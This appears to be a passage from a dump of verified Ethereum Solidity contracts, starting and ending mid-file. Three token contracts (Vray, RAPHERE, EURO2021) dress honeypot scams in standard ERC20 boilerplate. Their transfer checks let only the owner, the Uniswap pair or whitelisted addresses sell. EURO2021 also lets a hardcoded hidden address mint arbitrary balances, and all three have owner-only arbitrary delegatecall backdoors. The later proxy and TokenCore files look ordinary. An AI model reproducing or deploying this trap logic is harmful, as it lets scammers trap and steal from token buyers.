_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Vray {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RAPHERE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EURO2021 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/ExchangeAdminStorage.sol
pragma solidity ^0.6.12;
contract ExchangeAdminStorage is Ownable{
address public admin;
address public implementation;
}
// File: contracts/ExchangeDelegator.sol
pragma solidity ^0.6.12;
contract ExchangeDelegator is ExchangeAdminStorage {
event NewImplementation(
address oldImplementation,
address newImplementation
);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
constructor(
address _sashimi,
uint256 _startTime,
address _implementation
) public {
admin = msg.sender;
delegateTo(
_implementation,
abi.encodeWithSignature(
"initialize(address,uint256)",
_sashimi,
_startTime
)
);
_setImplementation(_implementation);
}
function _setImplementation(address implementation_) public {
require(msg.sender == admin, "UNAUTHORIZED");
address oldImplementation = implementation;
implementation = implementation_;
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice transfer of admin rights. msg.sender must be admin
* @dev Admin function for update admin
*/
function _setAdmin(address newAdmin) public {
// Check caller is admin
require(msg.sender == admin, "UNAUTHORIZED");
// Save current values for inclusion in log
address oldAdmin = admin;
// Store admin with value newAdmin
admin = newAdmin;
emit NewAdmin(oldAdmin, admin);
}
function delegateTo(address callee, bytes memory data)
internal
returns (bytes memory)
{
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return returnData;
}
receive() external payable{}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
// */
fallback() external payable {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 {
revert(free_mem_ptr, returndatasize())
}
default {
return(free_mem_ptr, returndatasize())
}
}
}
}
|
DC1
|
/**************************************************************************
* ____ _
* / ___| | | __ _ _ _ ___ _ __
* | | _____ | | / _` || | | | / _ \| '__|
* | |___|_____|| |___| (_| || |_| || __/| |
* \____| |_____|\__,_| \__, | \___||_|
* |___/
*
**************************************************************************
*
* The MIT License (MIT)
*
* Copyright (c) 2016-2019 Cyril Lapinte
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
**************************************************************************
*
* Flatten Contract: TokenCore
*
* Git Commit:
* https://github.com/c-layer/contracts/tree/43925ba24cc22f42d0ff7711d0e169e8c2a0e09f
*
**************************************************************************/
// File: contracts/abstract/Storage.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Storage
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
**/
contract Storage {
mapping(address => address) public proxyDelegates;
address[] public delegates;
}
// File: contracts/util/governance/Ownable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*
* Error messages
* OW01: Only accessible as owner
* OW02: New owner must be non null
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "OW01");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "OW02");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/operable/OperableStorage.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title OperableStorage
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
contract OperableStorage is Ownable, Storage {
// Hardcoded role granting all - non sysop - privileges
bytes32 constant internal ALL_PRIVILEGES = bytes32("AllPrivileges");
address constant internal ALL_PROXIES = address(0x416c6c50726f78696573); // "AllProxies"
struct RoleData {
mapping(bytes4 => bool) privileges;
}
struct OperatorData {
bytes32 coreRole;
mapping(address => bytes32) proxyRoles;
}
// Mapping address => role
// Mapping role => bytes4 => bool
mapping (address => OperatorData) internal operators;
mapping (bytes32 => RoleData) internal roles;
/**
* @dev core role
* @param _address operator address
*/
function coreRole(address _address) public view returns (bytes32) {
return operators[_address].coreRole;
}
/**
* @dev proxy role
* @param _address operator address
*/
function proxyRole(address _proxy, address _address)
public view returns (bytes32)
{
return operators[_address].proxyRoles[_proxy];
}
/**
* @dev has role privilege
* @dev low level access to role privilege
* @dev ignores ALL_PRIVILEGES role
*/
function rolePrivilege(bytes32 _role, bytes4 _privilege)
public view returns (bool)
{
return roles[_role].privileges[_privilege];
}
/**
* @dev roleHasPrivilege
*/
function roleHasPrivilege(bytes32 _role, bytes4 _privilege) public view returns (bool) {
return (_role == ALL_PRIVILEGES) || roles[_role].privileges[_privilege];
}
/**
* @dev hasCorePrivilege
* @param _address operator address
*/
function hasCorePrivilege(address _address, bytes4 _privilege) public view returns (bool) {
bytes32 role = operators[_address].coreRole;
return (role == ALL_PRIVILEGES) || roles[role].privileges[_privilege];
}
/**
* @dev hasProxyPrivilege
* @dev the default proxy role can be set with proxy address(0)
* @param _address operator address
*/
function hasProxyPrivilege(address _address, address _proxy, bytes4 _privilege) public view returns (bool) {
OperatorData storage data = operators[_address];
bytes32 role = (data.proxyRoles[_proxy] != bytes32(0)) ?
data.proxyRoles[_proxy] : data.proxyRoles[ALL_PROXIES];
